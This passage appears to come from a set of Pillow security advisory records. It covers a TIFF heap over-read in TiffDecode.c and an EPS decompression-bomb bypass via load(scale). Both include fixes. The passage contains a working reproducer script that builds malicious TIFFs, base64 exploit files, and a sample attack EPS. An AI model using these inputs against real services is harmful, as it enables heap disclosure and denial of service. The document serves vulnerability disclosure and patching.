1024 is false -> no abort \u2026 } state->bytes = tile_bytes_size; new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) \u2026 for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( // copy4: reads current_tile_width*4 = 64 bytes (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // from offset 16*tile_y current_tile_width ); ``` Row `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state->bits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`. Note also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * state->bits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type. Compare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0): ```c // src/libImaging/TiffDecode.c:528-548 (_decodeStrip) unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8; \u2026 row_byte_size = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` The identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check. ### Same gap in `_decodeAsRGBA()` `_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state->shuffle` (line 373) without looking at `state->bits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`. The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way. ## Impact Any application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption. This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0. ## Reproducing Run `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end. The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process: - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions. - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel). - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile. For each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive. Each step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`. ## Suggested fix The attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer: - `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size > row_byte_size` (`TIFFTileRowSize()`). - `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state->bits > 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation. With the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass. These checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read. ## The patch Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match=\"decoder error -9\"): im.load() + @pytest.mark.parametrize( + \"data\", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\" + b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\" + b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\" + b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\" + b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\" + b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\" + b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\" + b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\" + b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\" + b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\" + b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\" + b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\" + b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\" + b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\" + b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\" + b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\" + b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\" + b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\" + b\"EAAQAA==\" + ), + ), + ) + @pytest.mark.filterwarnings(\"ignore:Metadata Warning\") + def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None: + # The unpacker chosen by Pillow reads more bytes per row than libtiff + # decoded, so the decoder must reject the image rather than read past + # the end of its buffer + with Image.open(io.BytesIO(base64.b64decode(data))) as im: + with pytest.raises(OSError, match=\"decoder error -2\"): + im.load() + @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\")) def test_save_multistrip(self, compression: str, tmp_path: Path) -> None: im = hopper(\"RGB\").resize((256, 256)) diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..2ee6c5f0a 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) { TRACE((\"RowsPerBlock: %u \\n\", rows_per_block)); + // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel + // than that, (at least) the last row of the block will have a read buffer + // overflow. + if (state->bits > 32) { + TRACE((\"Decode Error, unpacker bits %d > 32\\n\", state->bits)); + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) { TRACE((\"Decode error, msg: %s\", emsg)); state->errcode = IMAGING_CODEC_BROKEN; @@ -397,7 +406,7 @@ _decodeTile( ) { INT32 x, y, tile_y, current_tile_length, current_tile_width; UINT32 tile_width, tile_length; - tsize_t tile_bytes_size, row_byte_size; + tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size; UINT8 *new_data; tile_bytes_size = TIFFTileSize(tiff); @@ -431,7 +440,8 @@ _decodeTile( return -1; } - if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { + unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8; + if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) { // If the tile size as expected by LibTiff isn't what we're expecting, abort. // man: TIFFTileSize returns the equivalent size for a tile of data as it // would be returned in a call to TIFFReadTile ... @@ -439,6 +449,13 @@ _decodeTile( return -1; } + // if the unpacker calculated row size is > row byte size, (at least) the last + // row of the tile will have a read buffer overflow. + if (unpacker_row_byte_size > row_byte_size) { + state->errcode = IMAGING_CODEC_BROKEN; + return -1; + } + state->bytes = tile_bytes_size; TRACE((\"TIFFTileSize: %d\\n\", state->bytes)); ``` ## The reproducer
Reproducer \u2014 repro, 4,178 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build, # no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the # decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the # bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's # MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile # SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds. import os, shutil, struct, subprocess, sys, tempfile, zlib W = tempfile.mkdtemp(); S, L = 3, 4 def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data) ifd, extra = struct.pack(\" 4: raw, extra = struct.pack(\" 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only) \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]), # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions) \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]), # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]), (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]), (530, S, [1, 1])], d), \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]), } for n, b in files.items(): open(f\"{W}/{n}\", \"wb\").write(b) LOAD = r\"\"\" import sys, warnings; warnings.simplefilter(\"ignore\") from PIL import Image im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr) im.load(); sys.stdout.write(im.tobytes().hex()) \"\"\" def run(name, perturb): p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True, env=dict(os.environ, MALLOC_PERTURB_=str(perturb))) return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"] leak = False for n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"): r1, a, info = run(n, 85); r2, b, _ = run(n, 170) print(f\"== {n}: {info[0]} rc={r1},{r2}\") if r1 == 0 and r2 == 0 and a != b: i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2]) print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\") print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\") leak = True else: print(\" identical output / error -> no leak observed\") rc, _, info = run(\"tile_big.tif\", 0) print(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\")) crash = rc == -11 if crash and shutil.which(\"gdb\"): bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD, f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\"))) shutil.rmtree(W) print(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\") print(\"BUG\" if leak or crash else \"OK\") ```
---"}, {"id": "CVE-2026-112899", "fix_versions": ["13.0.0"], "aliases": ["GHSA-vx6w-vv9f-6gvg"], "description": "``` ============================================================================ EPS load(scale) lets Ghostscript render past the decompression bomb limit Location: src/PIL/EpsImagePlugin.py:92 in Ghostscript() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` When an application opens an untrusted Encapsulated PostScript file and asks Pillow to render it at a larger scale, Pillow has Ghostscript produce an image several times bigger than Pillow's configured size limit allows. The size check runs only after Ghostscript has finished rendering and written the full raw image to a temporary file. An attacker who can upload a file of about 100 bytes makes each such request spend scale\u00b2 times the Ghostscript rendering work and temporary disk space that the limit is meant to permit. For example, at scale 2 that is a 972 MB temporary file. The cause is in `Ghostscript()` in `src/PIL/EpsImagePlugin.py`. It multiplies the file-declared size by the caller's `scale` (lines 93-94) and passes the product to `gs` as the `-g` output geometry. It never calls `Image._decompression_bomb_check()` on the scaled size. The only check is the one `Image.open()` ran on the unscaled size, so a file declaring 9000\u00d79000 passes, and `load(scale=2)` then asks Ghostscript for 18000\u00d718000 (3.6\u00d7 `MAX_IMAGE_PIXELS`). A file declaring 18000\u00d718000 directly would be refused before Ghostscript ever ran. `DecompressionBombError` fires only when Pillow reopens the output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption. The effect is a constant-factor overshoot rather than an unbounded one, for three reasons: * The multiplier is an integer chosen by the application, not by the file. * With the default warning filter, `Image.open()` already lets files up to 2\u00d7 the limit reach Ghostscript at `scale=1`. * Any application feeding untrusted files to Ghostscript is already exposed to a tiny file that keeps Ghostscript busy indefinitely, since `gs` runs with no timeout. This is the EPS counterpart of the WMF `load(dpi)` gap closed in af70b075a. It has been present since the decompression-bomb limit was introduced in ce2955ec7 (2.5.0). The attached reproducer stubs out Ghostscript and shows a 76-byte file passing `Image.open()` and reaching `gs` with `-g18000x18000`. A one-line patch mirroring the WMF check is included. ## Details `EpsImageFile.load(scale=N)` (the documented way to rasterise an EPS at higher resolution) renders `width*N \u00d7 height*N` pixels through Ghostscript, but the only decompression-bomb check on the way is the one `Image.open()` ran on the *unscaled*, file-declared `width \u00d7 height`. The scaled product is never passed to `Image._decompression_bomb_check()` before `gs` is started. This 111-byte EPS declares 9000\u00d79000 = 81,000,000 pixels, below the default `MAX_IMAGE_PIXELS` (89,478,485), so `Image.open()` accepts it without even a warning: ``` %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 9000 9000 %%EndComments 0 0 moveto 9000 9000 lineto stroke showpage ``` `im.load(scale=2)` on it then executes ``` gs -q -g18000x18000 -r144.000000x144.000000 -dBATCH -dNOPAUSE -dSAFER -sDEVICE=pnmraw -sOutputFile=/tmp/tmpXXXX -c 0 0 translate -f attack.eps -c showpage ``` i.e. asks Ghostscript for an 18000\u00d718000 = 324,000,000-pixel raster (3.6\u00d7 `MAX_IMAGE_PIXELS`), whose `pnmraw` output is a 972,000,019-byte file in the temp directory. An EPS that declares 18000\u00d718000 directly is rejected by `Image.open()` with `DecompressionBombError` before Ghostscript is ever run; via `scale=2` the same raster is rendered first and the `DecompressionBombError` only appears afterwards, when Pillow opens the file Ghostscript produced. (Between 1\u00d7 and 2\u00d7 `MAX_IMAGE_PIXELS`, `Image.open()` only emits `DecompressionBombWarning`, so with the default warning filter an EPS declaring e.g. 13377\u00d713377 is already rendered at `scale=1` \u2014 a 537 MB PNM. Against that baseline, `scale=2` is 4\u00d7 an already-permitted render.) The arithmetic is in `Ghostscript()`: ```python # src/PIL/EpsImagePlugin.py:91-97 # Hack to support hi-res rendering scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) \u2026 # src/PIL/EpsImagePlugin.py:139-142 command = [ gs_binary, \"-q\", # quiet mode f\"-g{width:d}x{height:d}\", # set output geometry (pixels) \u2026 # src/PIL/EpsImagePlugin.py:165-168 subprocess.check_call(command, startupinfo=startupinfo) with Image.open(outfile) as out_im: out_im.load() return out_im.im.copy() ``` and its caller does nothing between taking `scale` from the application and invoking it: ```python # src/PIL/EpsImagePlugin.py:411-417 def load(self, scale: int = 1, transparency: bool = False) -> \u2026: # Load EPS via Ghostscript if self.tile: assert self.fp is not None self.im = Ghostscript(self.tile, self.size, self.fp, scale, transparency) ``` `size` here is `self._size`, computed in `_open()` from the file's `%%BoundingBox` (or `%ImageData`) and checked once by `Image.open()` at `src/PIL/Image.py:3700`. For the benign path (`scale=1`) that check covers exactly what Ghostscript is asked to render. For `scale=N` the rendered pixel count is N\u00b2 times what was checked, so a file can sit just under the limit at open time and have Ghostscript render 4\u00d7 (scale 2), 9\u00d7 (scale 3), 16\u00d7 (scale 4) the configured budget. The first point at which Pillow looks at the real size again is `Image.open(outfile)` at line 166 \u2014 after `subprocess.check_call` has returned, i.e. after Ghostscript has spent the CPU and written `width*height*3` bytes to `tempfile.mkstemp()`'s directory. `WmfStubImageFile.load(dpi)` has the same shape (file-derived extent \u00d7 caller-supplied factor \u2192 new raster) and, since af70b075a, calls `Image._decompression_bomb_check(self.size)` on the recomputed size before rendering (`src/PIL/WmfImagePlugin.py:127-131`). The EPS path lacks the equivalent line. The gap dates from ce2955ec7128 (\"Throw an exception when an opened image is larger than an arbitrary limit\", 2014-05-14, first released in 2.5.0), which added the check to `Image.open()` without covering the `scale` path. ## Impact Affected are applications that open untrusted EPS/PS with Ghostscript installed and call `load(scale=N)` with a fixed N > 1, as the handbook suggests for non-blurry output. Handing untrusted EPS to Ghostscript at all already lets the same attacker tie up a worker with an equally tiny file (e.g. a PostScript `{} loop`; Pillow runs `gs` with no timeout), so this bug adds a constant factor rather than a new denial-of-service capability. Within that setting, a ~110-byte upload makes each request run Ghostscript over N\u00b2 \u00d7 `MAX_IMAGE_PIXELS` pixels (N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS` if the application does not turn `DecompressionBombWarning` into an error) and write a `W\u00b7H\u00b73`-byte PNM into the temp directory \u2014 972 MB for the example above at scale 2, 2.2 GB at scale 3, 8.6 GB for a 178-Mpixel declaration at scale 4 \u2014 before any limit is applied. The operator's `MAX_IMAGE_PIXELS` setting is exceeded by a factor of N\u00b2; N is an integer chosen by the application, not by the file, so the work stays bounded at N\u00b2 \u00d7 2\u00b7`MAX_IMAGE_PIXELS`. The consequence is N\u00b2 more Ghostscript CPU and temp-disk use per request than the configured limit intends; Pillow's own in-process pixel allocation remains bounded because `Image.open(outfile)` re-checks the PNM's size, and there is no memory corruption. This is a sibling of the WMF `load(dpi)` issue fixed in af70b075a (\"Add decompression bomb check when loading at a different DPI\"); the EPS `scale` path was not covered by that change. Unlike the WMF case, where the file-controlled `_inch` makes the ratio unbounded, the EPS multiplier is fixed by the application. ## Reproducing Run `repro` against the installed Pillow. Ghostscript does not need to be installed: the script sets `EpsImagePlugin.gs_binary = \"gs\"` so that `has_ghostscript()` skips its `gs --version` probe, and replaces `subprocess.check_call` with a function that records the command line Pillow builds and then raises `OSError`, so nothing is actually rendered. It writes a 76-byte EPS declaring `%%BoundingBox: 0 0 9000 9000` (the example above without the drawing line; 81 Mpixel, below the default `MAX_IMAGE_PIXELS` of 89,478,485) and turns `DecompressionBombWarning` into an error, so any bomb check \u2014 warning or hard error \u2014 counts. It then calls `Image.open()` and `im.load(scale=2)`. `Image.open()` accepts the file and `load(scale=2)` reaches the intercepted Ghostscript call with `-g18000x18000` (324,000,000 pixels, 3.6\u00d7 `MAX_IMAGE_PIXELS`, a 972 MB `pnmraw` output with real Ghostscript). The script prints the geometry it captured. It prints `BUG` when Ghostscript was invoked with a `-g` geometry above `2*MAX_IMAGE_PIXELS` (178,956,970) and no decompression-bomb check fired before that call; otherwise it prints `OK`. With the attached patch applied, `load(scale=2)` raises `DecompressionBombError` before Ghostscript is called and the script prints `OK`. ## Suggested fix The attached patch checks the scaled size in `Ghostscript()` right after the scaled `width`/`height` are computed (`src/PIL/EpsImagePlugin.py:93-94`) and before the `gs` command is built, mirroring `WmfStubImageFile.load`: ```diff --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` `load(scale=N)` now raises `DecompressionBombError` / emits `DecompressionBombWarning` under the same `MAX_IMAGE_PIXELS` thresholds `Image.open()` applies, before Ghostscript runs instead of after. Placing the check in `Ghostscript()` rather than in `EpsImageFile.load()` is the single point where the rendered extent is decided, so it also covers direct callers of the module-level function. With the patch applied to a clean checkout the reproducer prints `OK` and `Tests/test_file_eps.py` passes. One cosmetic side effect: at `scale=1` the check re-emits the `DecompressionBombWarning` that `Image.open()` already issued for sizes between 1\u00d7 and 2\u00d7 the limit; guarding the call with `if scale > 1:` would avoid the duplicate. The patch also adds `test_load_scale_decompression_bomb` to `Tests/test_file_eps.py`, in the style of the WMF test: it sets `MAX_IMAGE_PIXELS` to `im.width * im.height` and expects `im.load(scale=2)` to raise `DecompressionBombError`. Like the rest of that file it is skipped without Ghostscript, because `has_ghostscript()` is consulted at the top of `Ghostscript()`; moving the check above that call would let the test run without it. ## The patch Add decompression bomb check on the scaled size in EpsImagePlugin.Ghostscript() before Ghostscript is invoked Applies to `src/PIL/EpsImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_eps.py b/Tests/test_file_eps.py index 70eced62a..de331d97f 100644 --- a/Tests/test_file_eps.py +++ b/Tests/test_file_eps.py @@ -98,6 +98,14 @@ def test_sanity(filename: str, size: tuple[int, int], scale: int) -> None: assert image.format == \"EPS\" +@pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") +def test_load_scale_decompression_bomb(monkeypatch: pytest.MonkeyPatch) -> None: + with Image.open(FILE1) as im: + monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", im.width * im.height) + with pytest.raises(Image.DecompressionBombError): + im.load(scale=2) + + @pytest.mark.skipif(not HAS_GHOSTSCRIPT, reason=\"Ghostscript not available\") def test_load() -> None: with Image.open(FILE1) as im: diff --git a/src/PIL/EpsImagePlugin.py b/src/PIL/EpsImagePlugin.py index 5eaefe339..ccc6f1d85 100644 --- a/src/PIL/EpsImagePlugin.py +++ b/src/PIL/EpsImagePlugin.py @@ -92,6 +92,7 @@ def Ghostscript( scale = int(scale) or 1 width = size[0] * scale height = size[1] * scale + Image._decompression_bomb_check((width, height)) # resolution is dependent on bbox and size res_x = 72.0 * width / (bbox[2] - bbox[0]) res_y = 72.0 * height / (bbox[3] - bbox[1]) ``` ## The reproducer
